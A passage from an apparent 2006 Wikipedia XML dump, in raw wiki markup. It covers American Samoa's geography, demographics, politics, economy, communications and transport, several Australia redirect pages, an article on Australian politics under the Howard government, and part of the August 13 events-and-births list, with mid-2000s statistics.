: [[Pago Pago]] has one of the best natural deepwater harbors in the South Pacific Ocean, sheltered by shape from rough seas and protected by peripheral mountains from high winds; strategic location in the South Pacific Ocean

{{maplr|-14.3|-170.7|American Samoa}}

MapQuest zoom level 4 shows the location with respect to the state of  Samoa.

[[Category:American Samoa]]
[[Category:Geography by country|American Samoa]]
[[he:&amp;#1490;&amp;#1488;&amp;#1493;&amp;#1490;&amp;#1512;&amp;#1508;&amp;#1497;&amp;#1492; &amp;#1513;&amp;#1500; &amp;#1505;&amp;#1502;&amp;#1493;&amp;#1488;&amp;#1492; &amp;#1492;&amp;#1488;&amp;#1502;&amp;#1512;&amp;#1497;&amp;#1511;&amp;#1488;&amp;#1497;&amp;#1514;]]</text>
    </revision>
  </page>
  <page>
    <title>Demographics of American Samoa</title>
    <id>1110</id>
    <revision>
      <id>39372997</id>
      <timestamp>2006-02-12T19:08:22Z</timestamp>
      <contributor>
        <ip>83.121.2.141</ip>
      </contributor>
      <comment>disambiguation from [[FAO]] to [[Food and Agriculture Organization]]</comment>
      <text xml:space="preserve">[[Image:Samoa American Demo.png|thumb|550px|center|Demographics of American Samoa, Data of [[Food and Agriculture Organization|FAO]], year 2005 ; Number of inhabitants in thousands.]]
'''[[Population]]:'''
57,902 (July 2004 est.)

'''Age structure:'''
&lt;br&gt;''0-14 years:''
36.6% (male 10,983; female 10,208)
&lt;br&gt;''15-64 years:''
60.3% (male 18,010; female 16,933)
&lt;br&gt;''65 years and over:''
3.1% (male 699; female 1,069) (2004 est.)

'''Population growth rate:'''
0.04% (2004 est.)

'''[[Birth rate]]:'''
24.46 births/1,000 population (2004 est.)

'''[[Death]] rate:'''
3.39 deaths/1,000 population (2004 est.)

'''Net [[migration]] rate:'''
-20.71 migrant(s)/1,000 population (2004 est.)

'''Sex ratio:'''
&lt;br&gt;''at birth:''
1.06 male(s)/female
&lt;br&gt;''under 15 years:''
1.08 male(s)/female
&lt;br&gt;''15-64 years:''
1.06 male(s)/female
&lt;br&gt;''65 years and over:''
0.65 male(s)/female
&lt;br&gt;''total population:''
1.05 male(s)/female (2004 est.)

'''[[Infant mortality]] rate:'''
9.48 deaths/1,000 live births (2004 est.)

'''[[Life expectancy]] at birth:'''
&lt;br&gt;''total population:''
75.62 years
&lt;br&gt;''male:''
72.05 years
&lt;br&gt;''female:''
79.41 years (2004 est.)

'''Total [[fertility]] rate:'''
3.41 children born/woman (2000 est.)

'''[[Nationality]]:'''
&lt;br&gt;''noun:''
American Samoan(s)
&lt;br&gt;''adjective:''
American Samoan

'''[[Ethnic group]]s:'''
[[Samoa]]n ([[Polynesia]]n) 89%, [[whites|Caucasian]] 2%, [[Tonga]]n 4%, other 5%

'''[[Religion]]s:'''
[[Christian Congregationalist]] 50%, [[Roman Catholicism|Roman Catholic]] 20%, [[Protestantism|Protestant]] and other 30%

'''Languages:'''
[[Samoan language|Samoan]] (closely related to [[Hawaiian language|Hawaiian]] and other [[Polynesian languages]]), [[English language|English]]
&lt;br&gt;''note:''
most people are bilingual

'''[[Literacy]]:'''
&lt;br&gt;''definition:''
age 15 and over can read and write
&lt;br&gt;''total population:''
97%
&lt;br&gt;''male:''
98%
&lt;br&gt;''female:''
97% (1980 est.)

:''See also :'' [[American Samoa]]
[[Category:American Samoa]]
[[he:&amp;#1491;&amp;#1502;&amp;#1493;&amp;#1490;&amp;#1512;&amp;#1508;&amp;#1497;&amp;#1492; &amp;#1513;&amp;#1500; &amp;#1505;&amp;#1502;&amp;#1493;&amp;#1488;&amp;#1492; &amp;#1492;&amp;#1488;&amp;#1502;&amp;#1512;&amp;#1497;&amp;#1511;&amp;#1488;&amp;#1497;&amp;#1514;]]</text>
    </revision>
  </page>
  <page>
    <title>Politics of American Samoa</title>
    <id>1111</id>
    <revision>
      <id>39337438</id>
      <timestamp>2006-02-12T13:07:49Z</timestamp>
      <contributor>
        <username>Warofdreams</username>
        <id>20855</id>
      </contributor>
      <comment>{{Oceania in topic|Politics of}}</comment>
      <text xml:space="preserve">{{Politics of American Samoa}}
'''Politics of American Samoa''' takes place in a framework of a [[presidential|presidential]] [[representative democracy|representative democratic]] [[dependency]], whereby the [[List of American Samoa Governors |Governor]] is the [[head of government]], and of a pluriform multi-party system. [[American Samoa]] is a unincorporated and [[unorganized territory]] of the [[United States]], administered by the [[Office of Insular Affairs]], [[US Department of the Interior]]. Its constitution was ratified [[1966]] and came into effect [[1967]]. [[Executive power]] is exercised by the government. [[Legislative power]] is vested in the two chambers of the legislature. The party system is a copy of the United States party system. The [[Judiciary]] is independent of the executive and the legislature.

==Executive branch==
{{office-table}}
|President of the United States
|[[George W. Bush]]
|[[Republican Party (United States)|Republican]]
|[[20 January]] [[2001]]
|-
|[[List of American Samoa Governors |Governor]]
|[[Togiola Tulafono]]
|[[Democratic Party (United States)|Democrat]]
|[[26 March]] [[2003]]
|}
The [[governor]] and the [[lieutenant governor]] are elected on the same ticket by popular vote for four-year terms.

==Legislative branch==
The '''Legislature''' or ''Fono'' has two [[bicameralism|chambers]]. The [[American Samoa House of Representatives|House of Representatives]] has eighteen members, elected for a two year term, seventeen in single-seat [[constituency|constituencies]] and one by a public meeting on [[Swain Island]]. The [[American Samoa Senate|Senate]] has eighteen members, elected for a four year term by and from the chiefs of the islands.

==Political parties and elections==
{{elect|List of political parties in American Samoa|Elections in American Samoa}}
{{American Samoa governor election, 2004}}
{{American Samoa legislative election, 2004}}
At the [[2 November]] [[2004]] election Eni F. H. Faleomavaega of the [[Democratic Party (United States)]] defeated the [[Republican Party (United States)|Republican]] candidate and was re-elected.

==Judicial branch==
The High Court ([[chief justice]] and [[associate justices]] are appointed by the [[US Secretary of the Interior]])

===International organization participation===
ESCAP (associate), Interpol (subbureau), IOC, SPC

{{Oceania in topic|Politics of}}

[[Category:Politics of American Samoa]]
[[he:&amp;#1508;&amp;#1493;&amp;#1500;&amp;#1497;&amp;#1496;&amp;#1497;&amp;#1511;&amp;#1492; &amp;#1513;&amp;#1500; &amp;#1505;&amp;#1502;&amp;#1493;&amp;#1488;&amp;#1492; &amp;#1492;&amp;#1488;&amp;#1502;&amp;#1512;&amp;#1497;&amp;#1511;&amp;#1488;&amp;#1497;&amp;#1514;]]</text>
    </revision>
  </page>
  <page>
    <title>Economy of American Samoa</title>
    <id>1112</id>
    <revision>
      <id>35304727</id>
      <timestamp>2006-01-15T20:06:58Z</timestamp>
      <contributor>
        <username>Natalya</username>
        <id>154294</id>
      </contributor>
      <minor />
      <comment>/* Numbers */ disambiguation link repair ([[Wikipedia:Disambiguation pages with links|You can help!]])</comment>
      <text xml:space="preserve">'''Economy - overview:'''
This is a traditional [[Polynesia]]n economy in which more than 90% of the land is communally owned. Economic activity is strongly linked to the [[United States|US]], with which American Samoa conducts the great bulk of its foreign trade. [[Tuna]] [[fishing]] and tuna processing plants are the backbone of the private sector, with canned tuna the primary export. Transfers from the [[US Government]] add substantially to American Samoa's economic well-being. Attempts by the government to develop a larger and broader economy are restrained by Samoa's remote location, its limited transportation, and its devastating hurricanes. Tourism, a developing sector, may be held back by the current financial difficulties in East Asia.

==Numbers==
'''[[Gross domestic product|GDP]]:'''
purchasing power parity - $500 million (2000 est.)

'''GDP - real growth rate:'''
NA%

'''GDP - per capita:'''
purchasing power parity - $8,000 (2000 est.)

'''GDP - composition by sector:'''
&lt;br&gt;''agriculture:''
NA%
&lt;br&gt;''industry:''
NA%
&lt;br&gt;''services:''
NA% (2002)

'''Population below poverty line:'''
NA% (2002 est.)

'''Household income or consumption by percentage share:'''
&lt;br&gt;''lowest 10%:''
NA%
&lt;br&gt;''highest 10%:''
NA%

'''Inflation rate (consumer prices):'''
NA% (2003 est.)

'''Labor force:'''
14,000 (1996)

'''Labor force - by occupation:'''
government 33%, tuna canneries 34%, other 33% (1990)

'''Unemployment rate:'''
6% (2000)

'''Budget:'''
&lt;br&gt;''revenues:''
$121 million (37% in local revenue and 63% in US grants)
&lt;br&gt;''expenditures:''
$127 million, including capital expenditures of $NA (FY96/97)

'''Industries:'''
tuna canneries (largely dependent on foreign fishing vessels), handicrafts

'''Industrial production growth rate:'''
NA%

'''Electricity - production:'''
130 GWh (2001)

'''Electricity - production by source:'''
&lt;br&gt;''fossil fuel:''
100%
&lt;br&gt;''hydro:''
0%
&lt;br&gt;''nuclear:''
0%
&lt;br&gt;''other:''
0% (2001)

'''Electricity - consumption:'''
120.9 GWh (2001)

'''Electricity - exports:'''
0 kWh (2001)

'''Electricity - imports:'''
0 kWh (2001)

'''Oil - production:'''
0 barrel/day (2001 est.)

'''Oil - consumption:'''
3,800 barrel/day (604 m&amp;sup3;/d) 2001

'''Oil - exports:'''
NA

'''Oil - imports:'''
NA

'''Agriculture - products:'''
[[banana]]s, [[coconut]]s, vegetables, [[taro]], [[breadfruit]], [[Yam (vegetable)|yams]], [[copra]], [[pineapple]]s, [[papaya]]s; dairy products, livestock

'''Exports:'''
$30 million (2002)

'''Exports - commodities:'''
canned tuna 93%

'''Exports - partners:'''
[[Indonesia]] 70%, [[Australia]] 6.7%, [[Japan]] 6.7%, [[Samoa]] 6.7% (2002)

'''Imports:'''
$123 million (2002)

'''Imports - commodities:'''
materials for canneries 56%, food 8%, petroleum products 7%, machinery and parts 6%

'''Imports - partners:'''
[[Australia]] 36.6%, [[New Zealand]] 20.3%, [[South Korea]] 16.3%, [[Mauritius]] 4.9% (2002)

'''Debt - external:'''
$NA (2002 est.)

'''Economic aid - recipient:'''
$NA; note - important financial support from the US, more than $40 million in 1994

'''Currency:'''
US dollar (USD)

'''Currency code:'''
USD

'''Exchange rates:'''
US dollar is used

'''Fiscal year:'''
[[1 October]] - [[30 September]]

==See also==
*[[American Samoa]]

[[Category:American Samoa]]
[[Category:Economies by country|American Samoa]]
[[he:&amp;#1499;&amp;#1500;&amp;#1499;&amp;#1500;&amp;#1514; &amp;#1505;&amp;#1502;&amp;#1493;&amp;#1488;&amp;#1492; &amp;#1492;&amp;#1488;&amp;#1502;&amp;#1512;&amp;#1497;&amp;#1511;&amp;#1488;&amp;#1497;&amp;#1514;]]</text>
    </revision>
  </page>
  <page>
    <title>Communications in American Samoa</title>
    <id>1113</id>
    <revision>
      <id>39121003</id>
      <timestamp>2006-02-10T21:20:43Z</timestamp>
      <contributor>
        <username>Bluemoose</username>
        <id>178836</id>
      </contributor>
      <comment>[[WP:AWB|AWB assisted]] clean up</comment>
      <text xml:space="preserve">[[Image:Stamp-us-samoa.jpg|frame|Oceangoing canoe]]
'''[[Telephone]]s - main lines in use:'''
15,000 (2001)

'''Telephones - mobile cellular:'''
2,377 (1999)

'''Telephone system:'''
&lt;br&gt;''domestic:''
good [[teleprinter|telex]], telegraph, facsimile and cellular telephone services; domestic satellite system with 1 [[Comsat]] earth station
&lt;br&gt;''international:''
country code - 1 684; satellite earth station - 1 [[Intelsat]] ([[Pacific Ocean]])

'''[[Radio]] [[broadcasting|broadcast]] stations:'''
AM 1, FM 1, shortwave 0 (1998)

'''Radios:'''
57,000 (1997)

'''[[Television]] broadcast stations:'''
1 (1997)

'''Televisions:'''
14,000 (1997)

'''[[Internet Service Provider]]s (ISPs):'''
Samoa Teleco

'''[[Internet country code]]:'''
.as

'''[[Internet]] users:'''
NA

:''See also :'' [[American Samoa]]

[[Category:American Samoa]]
[[Category:Communications by country|American Samoa]]

[[he:תקשורת בסמואה האמריקאית]]</text>
    </revision>
  </page>
  <page>
    <title>Transport in American Samoa</title>
    <id>1114</id>
    <revision>
      <id>41267637</id>
      <timestamp>2006-02-26T04:32:08Z</timestamp>
      <contributor>
        <username>Rt66lt</username>
        <id>275075</id>
      </contributor>
      <comment>List of highways in AS</comment>
      <text xml:space="preserve">{{CIA}}

'''Railways:'''
0 km

'''[[Highway]]s:'''
&lt;br&gt;''total:''
350 km
&lt;br&gt;''paved:''
150 km
&lt;br&gt;''unpaved:''
200 km

'''Ports and [[harbor]]s:'''
[[Aunuu|Aunu&amp;lsquo;u]], [[Auasi]], [[Tau, Samoa|Fale&amp;#257;sao]], [[Ofu]], [[Pago Pago]]

'''[[Merchant marine]]:'''
none (1999 est.)

'''[[Airport]]s:'''
3 (2003 est.)

'''Airports - with paved runways:'''
&lt;br&gt;''total:''
3
&lt;br&gt;''2,438 to 3,047 m:''
1
&lt;br&gt;''under 914 m:''
2 (2005 est.)

'''Airports - with unpaved runways:'''
&lt;br&gt;''total:''
0

:''See also :'' [[American Samoa]], [[List of highways in American Samoa]]

{{Oceania in topic|Transport in}}

[[Category:American Samoa]]
[[Category:Transportation by country|American Samoa]]
[[he:&amp;#1514;&amp;#1495;&amp;#1489;&amp;#1493;&amp;#1512;&amp;#1492; &amp;#1489;&amp;#1505;&amp;#1502;&amp;#1493;&amp;#1488;&amp;#1492; &amp;#1492;&amp;#1488;&amp;#1502;&amp;#1512;&amp;#1497;&amp;#1511;&amp;#1488;&amp;#1497;&amp;#1514;]]</text>
    </revision>
  </page>
  <page>
    <title>American Samoa/Military</title>
    <id>1116</id>
    <revision>
      <id>15899620</id>
      <timestamp>2002-09-09T02:02:01Z</timestamp>
      <contributor>
        <username>-- April</username>
        <id>166</id>
      </contributor>
      <comment>merge with main page</comment>
      <text xml:space="preserve">#REDIRECT [[American Samoa]]</text>
    </revision>
  </page>
  <page>
    <title>Australia/Geography</title>
    <id>1117</id>
    <revision>
      <id>15899621</id>
      <timestamp>2002-08-04T10:23:36Z</timestamp>
      <contributor>
        <username>Ellmist</username>
        <id>2214</id>
      </contributor>
      <comment>move to Geography of Australia</comment>
      <text xml:space="preserve">#REDIRECT [[Geography of Australia]]</text>
    </revision>
  </page>
  <page>
    <title>Australia/People</title>
    <id>1118</id>
    <revision>
      <id>15899622</id>
      <timestamp>2002-08-21T10:43:17Z</timestamp>
      <contributor>
        <username>-- April</username>
        <id>166</id>
      </contributor>
      <minor />
      <comment>fix redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Demographics of Australia]]</text>
    </revision>
  </page>
  <page>
    <title>Politics of Australia</title>
    <id>1119</id>
    <revision>
      <id>41231741</id>
      <timestamp>2006-02-25T23:16:51Z</timestamp>
      <contributor>
        <username>Grumpyyoungman01</username>
        <id>846078</id>
      </contributor>
      <minor />
      <comment>Added political blogs in australia to see also section</comment>
      <text xml:space="preserve">[[Image:Ac.johnhoward.jpg|thumb|right|175px|[[John Howard]] MP, Prime Minister of Australia and leader of the [[Liberal Party of Australia|Liberal Party]]]] 
[[Image:ac.kimbeazleynew.jpg|thumb|175px|[[Kim Beazley]] MP, Leader of the Opposition and Leader of the [[Australian Labor Party]]]]

The '''[[politics]] of [[Australia]]''' take place within the framework of [[democracy|parliamentary democracy]]. The government of Australia is a [[federation]], and Australians elect state and territory legislatures as well as a [[bicameral]] [[Parliament of Australia]] based on the [[Westminster System]]. 

At the national level, elections are held at least once every three years. The [[Prime Minister of Australia|Prime Minister]] can advise the Governor-General to call an election for the House of Representatives at any time, but Senate elections can only be held within certain periods prescribed in the [[Australian Constitution|Constitution]]. The last general election was in [[October]] [[2004]]. The [[Parliament of Australia|Parliament of the Commonwealth of Australia]] consists of two [[bicameralism|chambers]]:
* The [[Australian House of Representatives|House of Representatives]] has 150 members, elected for a three year term in single-seat [[constituency|constituencies]] with a system of alternative vote known as [[instant-runoff voting | preferential voting]]. 
* The [[Australian Senate|Senate]] has 76 members, elected through a preferential system in 12-seat state [[constituency|constituencies]] and two-seat territorial [[constituency|constituencies]] with a system of single non-transferable vote. Electors choose territorial senators for a three-year term. The state senators serve for a six-year term, with half of the seats renewed every three years. 

==Political parties and elections==
{{elect|List of political parties in Australia|Elections in Australia}}
{{Australian legislative election, 2004}}
More info: [[Australian legislative election, 2004]]''

Three political parties dominate Australian politics. Of these, two govern together in a [[Coalition (Australia)|Coalition]]:
*The [[Liberal Party of Australia|Liberal Party]] is a party of the centre-right which broadly represents business, the suburban middle classes and many rural people.
*Its junior coalition partner is the [[National Party of Australia]], formerly the Country Party and now known for electoral purposes as &quot;The Nationals&quot;, a [[conservative]] party which represents rural interests.
*The [[Australian Labor Party]] (ALP) is a [[Social democracy|social democratic]] party founded by the [[trade union]] movement and broadly represents the urban working class, although it increasingly has a base of middle class support. 

Minor parties include:
*The [[Australian Democrats]], a party of middle-class [[liberals]]
*The [[Australian Greens]], a [[Left-wing politics|left-wing]] and [[environmentalism|environmentalist]] party
*The [[Country Liberal Party]], a party which only represents the Northern Territory. It is part of the [[Liberal Party of Australia|Liberal]]/[[National Party of Australia|National]] [[Coalition (Australia)|Coalition]]
*The [[Family First Party]], a party appealing to conservative [[Christianity|Christian]]s.

The proportional representation system allows these parties to win seats in the [[Australian Senate]] and in the state upper houses, but they have usually been unable to win seats in the House of Representatives (the Greens won a House seat at a [[2002]] [[by-election]], but lost it in the [[Australian legislative election, 2004|2004 general election]]).

The Liberal/National coalition came to power in the March [[1996]] election, ending 13 years of Labor government and making [[John Howard]] Prime Minister. He was subsequently re-elected in October [[1998]], November [[2001]] and October [[2004]]. The coalition now holds a comfortable majority in the House of Representatives. In the Senate, the Liberal/National coalition was in a minority until the [[Australian legislative election, 2004|2004 election]], but from July [[2005]] it has a working majority there. Until [[2004]], lacking a majority in the Senate, the Liberal/National coalition relied on negotiations with the smaller parties and independents to secure the passage of legislation. 

Since its election, Howard's conservative coalition has moved to reduce the government's fiscal deficit and the influence of [[Australian labour movement|organised labour]], placing more emphasis on [[Enterprise Bargaining Agreement|workplace-based collective bargaining]] for wages. The Howard government also accelerated the pace of privatisation of government-owned enterprises that began with the [[Bob Hawke|Hawke]] Labor government. During its first two terms, the government's most sweeping change was  the introduction of a [[Goods and Services Tax (Australia)|goods and services tax]]. With the re-election of the Howard government in 2004, several significant and controversial bills have been passed, due to the government's newly-acquired Senate majority. These major changes have included a [[Australian industrial relations legislation, 2005|radical revamp of industrial relations laws]], an introduction of [[voluntary student unionism]], and the full privatisation of telecommunications company [[Telstra]]. These changes have sparked major debate within Australia, forcing many critics to question whether the Howard government has lived up to its promise to use its Senate majority wisely.

The Howard government has reversed the foreign policy of its predecessor, placing renewed emphasis on relations with Australia's traditional allies, the [[United States]] and [[United Kingdom|Britain]] and downgrading support for the [[United Nations]] in favour of bilateralism. Both major parties support maintaining good relations with regional powers such as [[China]], [[Japan]] and [[Indonesia]], although issues such as the independence of [[East Timor]] have sometimes made this difficult. Australia has become increasingly involved in the internal difficulties of its smaller neighbours, such as [[Papua New Guinea]], [[Solomon Islands]], [[Fiji]] and [[Nauru]].

The [[list of political parties in Australia]] comprises the names and federal leaders of significant political parties as well as the names of other parties, including formerly significant parties.

==Administrative divisions==
In the [[States and territories of Australia|states and territories]], elections are held at least once every four years (except in [[Queensland]], which has three-year terms). In [[New South Wales]], [[Victoria (Australia)|Victoria]], [[South Australia]] and the [[Australian Capital Territory]], election dates are fixed by legislation. However, the other [[Premiers of the Australian states|state premiers]] and territory Chief Ministers have the same discretion in calling elections as the Prime Minister at the national level. (See ''Main articles: [[Australian electoral system]], [[Electoral systems of the Australian states and territories]]'').  

Regional or local government within each state is handled by [[Local Government Area]]s and unlike other equivalent forms of local government such as those of the [[United States]], have relatively little power compared to the state governments (See ''Main article: [[Local government in Australia]]'').

==See also==
{{portalpar|Politics}}
*[[List of Australian politicians]]
*[[Politics of Australia and Canada compared]]
*[[Politics of Australia and New Zealand compared]]
*[[Political blogs in Australia]]
{{Politics of Australia}}

{{Oceania in topic|Politics of}}

[[Category:Politics of Australia|*]]

[[lb:Politik vun Australien]]
[[lt:Australijos politinė sistema]]
[[pl:Ustrój polityczny Australii]]
[[pt:Política da Austrália]]</text>
    </revision>
  </page>
  <page>
    <title>Australia/Economy</title>
    <id>1120</id>
    <revision>
      <id>15899624</id>
      <timestamp>2002-08-04T10:26:41Z</timestamp>
      <contributor>
        <username>Ellmist</username>
        <id>2214</id>
      </contributor>
      <comment>move to Economy of Australia</comment>
      <text xml:space="preserve">#REDIRECT [[Economy of Australia]]</text>
    </revision>
  </page>
  <page>
    <title>Australia/Communications</title>
    <id>1121</id>
    <revision>
      <id>15899625</id>
      <timestamp>2002-08-20T10:15:55Z</timestamp>
      <contributor>
        <username>Koyaanis Qatsi</username>
        <id>90</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Communications in Australia]]</text>
    </revision>
  </page>
  <page>
    <title>Australia/Transportation</title>
    <id>1122</id>
    <revision>
      <id>15899626</id>
      <timestamp>2004-12-31T10:33:11Z</timestamp>
      <contributor>
        <username>Jguk</username>
        <id>145867</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Transport in Australia]]</text>
    </revision>
  </page>
  <page>
    <title>Australia/Transnational issues</title>
    <id>1123</id>
    <revision>
      <id>15899627</id>
      <timestamp>2002-08-20T10:16:54Z</timestamp>
      <contributor>
        <username>Koyaanis Qatsi</username>
        <id>90</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Foreign relations of Australia]]</text>
    </revision>
  </page>
  <page>
    <title>Australia/Military</title>
    <id>1124</id>
    <revision>
      <id>15899628</id>
      <timestamp>2005-05-01T07:08:55Z</timestamp>
      <contributor>
        <ip>212.100.250.225</ip>
      </contributor>
      <comment>[[WP:WS|Please help out by clicking here to fix someone else's Wiki Syntax]]</comment>
      <text xml:space="preserve">#REDIRECT [[Australian Defence Force]]</text>
    </revision>
  </page>
  <page>
    <title>Australia/History</title>
    <id>1125</id>
    <revision>
      <id>15899629</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <username>LA2</username>
        <id>445</id>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[History of Australia]]</text>
    </revision>
  </page>
  <page>
    <title>Australia/Foreign relations</title>
    <id>1126</id>
    <revision>
      <id>15899630</id>
      <timestamp>2002-08-04T10:29:31Z</timestamp>
      <contributor>
        <username>Ellmist</username>
        <id>2214</id>
      </contributor>
      <comment>move to Foreign relations of Australia</comment>
      <text xml:space="preserve">#REDIRECT [[Foreign relations of Australia]]</text>
    </revision>
  </page>
  <page>
    <title>Australia/Music</title>
    <id>1127</id>
    <revision>
      <id>15899631</id>
      <timestamp>2002-08-04T10:24:28Z</timestamp>
      <contributor>
        <username>Ellmist</username>
        <id>2214</id>
      </contributor>
      <comment>move to Music of Australia</comment>
      <text xml:space="preserve">#REDIRECT [[Music of Australia]]</text>
    </revision>
  </page>
  <page>
    <title>August 13</title>
    <id>1129</id>
    <revision>
      <id>42078785</id>
      <timestamp>2006-03-03T17:59:17Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>Wikify dates</comment>
      <text xml:space="preserve">{| style=&quot;float:right;&quot;
|- 
|{{AugustCalendar}}
|-
|{{ThisDateInRecentYears|Month=August|Day=13}}
|}
'''[[August 13]]''' is the 225th day of the year in the [[Gregorian Calendar]] (226th in [[leap year]]s), with 140 days remaining.

==Events==
*[[3114 BC]] - According to the Lounsbury corollation, the [[Maya calendar]] starts.
*[[523]] - [[Pope John I|John]] succeeds [[Hormisdas]] as [[Pope]].
*[[1099]] - [[Pope Paschal II|Paschal II]] elected [[Pope]].
*[[1315]] - [[Louis X of France]] marries Clemence d'Anjou.
*[[1326]] - [[Aradia de Toscano]], according to legend/folklore, is initiated into a [[Diana (goddess)|Dianic]] [[witchcraft]] cult, subsequently founds the tradition of [[Stregheria]] later known as the [[Malandanti]].
*[[1415]] - [[Henry V of England]] lands at [[Chef-en-Caux]], [[France]] with 8000 men.
*[[1516]] - [[Treaty of Noyon]] between [[France]] and [[Spain]] signed.  In it, [[Francis I of France|Francis]] recognizes [[Charles V, Holy Roman Emperor|Charles]]'s claim to [[Naples]], and Charles recognizes Francis's claim to [[Milan]].
*[[1521]] - [[Tenochtitlán]] (present day [[Mexico City]]) falls to [[conquistador]] [[Hernán Cortés]]
*[[1536]] - Buddhist monks from Kyoto's [[Enryaku-ji|Enryaku Temple]] set fire to 21 [[Nichiren Buddhism|Nichiren]] temples throughout [[Kyoto]] in the Tenbun Hokke Disturbance. (Traditional [[Japanese calendar|Japanese date]]: [[July 27]] [[1536]]).
*[[1553]] - [[Michael Servetus]] arrested by [[John Calvin]] in [[Geneva]] as a [[heresy|heretic]].
*[[1704]] - [[War of the Spanish Succession]]: [[Battle of Blenheim]] - English and Austrians victorious over French and Bavarians.
*[[1814]] - The [[Anglo-Dutch Treaty of 1814|Convention of London]], a [[treaty]] between the [[United Kingdom]] and the [[Dutch Republic|United Provinces]], is signed in [[London]].
*[[1905]] - [[Norway]] holds [[referendum]] in favour of dissolving the union with [[Sweden]].
*[[1913]] - [[Otto Witte]], an acrobat, is crowned King of [[Albania]].
*1913 - Invention of [[stainless steel]] by [[Harry Brearley]].
*[[1918]] - Women enlist in the [[United States Marine Corps]] for the first time. [[Opha Mae Johnson]] is the first woman to enlist.
*[[1920]] - [[Polish-Soviet War]]: [[Battle of Warsaw (1920)|Battle of Warsaw]] begins, lasts till [[August 25]]. The [[Red Army]] is defeated.
*[[1923]] - First major sea-going ship arrives at [[Gdynia]], newly constructed [[Poland|Polish]] seaport.
*[[1937]] - [[Battle of Shanghai (1937)]] begins.
*[[1940]] - [[World War II]]: [[Battle of Britain]] begins -  The [[Luftwaffe]] launches a series of attacks on [[United Kingdom|British]] fighter bases and [[radar]] installations.
*[[1942]] - [[Walt Disney]]'s fifth [[animated feature]], ''[[Bambi (1942 movie)|Bambi]]'', premiers.
*[[1960]] - The [[Central African Republic]] declares independence from [[France]].
*[[1961]] - The [[German Democratic Republic]] closes the border between the eastern and western sectors of [[Berlin]], to thwart its inhabitants' attempts to escape to the [[Western countries|West]].
*[[1968]] - [[Alexandros Panagoulis]] attempts to assassinate the Greek dictator Colonel G. Papadopoulos in Varkiza, [[Athens]], [[Greece]].
*[[1987]] - U.S. President [[Ronald Reagan]] assumes responsibility for his role in the [[Iran-Contra scandal]].
*[[1996]] - [[Marc Dutroux]], his wife Michelle Martin, and Michel Lelièvre are arrested on suspicion of [[kidnapping]].  All are found guilty on [[June 22]], [[2004]], with sentences of life, 30, and 25 years, respectively.
*[[1997]] - ''[[South Park]]'' debuts on [[Comedy Central]].
*[[2004]] - The 28th [[Summer Olympics]] opens in [[Athens, Greece]].
*2004 - [[Hurricane Charley]], a Category 4 storm, strikes the [[Fort Myers, Florida]], area.
*2004 - [[Black Friday (Maldives)|Black Friday]] crackdown by [[National Security Service (Maldives)|NSS]] on a peaceful protest in the capital city of [[Maldives]], [[Malé]].
*2004 - 156 [[Democratic Republic of the Congo|Congolese]] [[Tutsi]] refugees massacred at the [[Gatumba]] [[refugee camp]] in [[Burundi]].
*2004 - [[Adam Curry]]'s first [[Daily Source Code]] is created, launching [[podcasting]].

==Births==
*[[582]] - [[Arnulf of Metz]], French bishop and saint (d. [[640]])
*[[1311]] - King [[Alfonso XI of Castile]] and Leon (d. [[1350]])
*[[1313]] - [[Aradia de Toscano]], Italian insurrectionist, teacher, and witch
*[[1584]] - [[Theophilus Howard, 2nd Earl of Suffolk]], English politician (d. [[1640]])
*[[1625]] - [[Rasmus Bartholin]], Danish physician, mathematician, and physicist (d. [[1698]])
*[[1662]] - [[Charles Seymour, 6th Duke of Somerset]], English politician (d. [[1748]])
*[[1666]] - [[William Wotton]], English scholar (d. [[1727]])
*[[1700]] - [[Heinrich, count von Brühl]], German statesman (d. [[1763]])
*[[1717]] - [[Louis François I, Prince of Conti]], French military leader (d. [[1776]])
*[[1721]] - [[Jacques Lelong]], French bibliographer (b. [[1665]])
*[[1792]] - [[Adelaide of Saxe-Meiningen]], queen of [[William IV of the United Kingdom]] (d. [[1849]])
*[[1803]] - [[Vladimir Odoevsky]], Russian philosopher and writer (d. [[1869]])
*[[1814]] - [[Anders Jonas Ångström]], Swedish physicist (d. [[1874]])
*[[1818]] - [[Lucy Stone]], American suffragette (d. [[1893]])
*[[1819]] - [[George Gabriel Stokes]], French physicist (d. [[1903]])
*[[1820]] - Sir [[George Grove]], English music historian (d. [[1900]])
*[[1823]] - [[Goldwin Smith]], English-born historian and journalist (d. [[1910]])
*[[1851]] - [[Felix Adler]], German-born educator (d. [[1933]])
*[[1860]] - [[Annie Oakley]], American sharpshooter (d. [[1926]])
*[[1866]] - [[Giovanni Agnelli]], Italian industrialist (d. [[1945]])
*[[1872]] - [[Richard Willstätter]], German chemist, [[Nobel Prize in Chemistry|Nobel Prize]] laureate (d. [[1942]])
*[[1879]] - [[John Ireland]], English composer (d. [[1962]])
*[[1887]] - [[Julius Freed]], American inventor and banker (d. [[1952]])
*[[1888]] - [[John Logie Baird]], Scottish television pioneer (d. [[1946]])
*[[1895]] - [[Bert Lahr]], American actor (d. [[1967]])
*[[1899]] - [[Sir Alfred Joseph Hitchcock]], English film director (d. [[1980]])
*[[1902]] - [[Felix Wankel]], German engineer and inventor (d. [[1988]])
*[[1904]] - [[Charles 'Buddy' Rogers]], American actor (d. [[1999]])
*[[1907]] - Sir [[Basil Spence]], Scottish architect (d. [[1976]])
*[[1912]] - [[Ben Hogan]], American golfer (d. [[1997]])
*1912 - [[Salvador Luria]], Italian-born biologist, recipient of the [[Nobel Prize in Physiology or Medicine]] (d. [[1991]])
*[[1913]] - [[Fred Davis]], English snooker player (d. [[1998]])
*[[1918]] - [[Frederick Sanger]], English chemist, [[Nobel Prize in Chemistry|Nobel Pirze]] laureate
*[[1919]] - [[George Shearing]], British musician
*[[1920]] - [[Neville Brand]], American actor (d. [[1992]])
*[[1926]] - [[Fidel Castro]], Cuban revolutionary and politician
*[[1930]] - [[Don Ho]], American musician
*[[1933]] - Doctor [[Joycelyn Elders]], [[United States Surgeon General]]
*[[1941]] - [[Erin Fleming]], Canadian actress (d. [[2003]])
*[[1944]] - [[Kevin Tighe]], American actor
*[[1948]] - [[Kathleen Battle]], American soprano
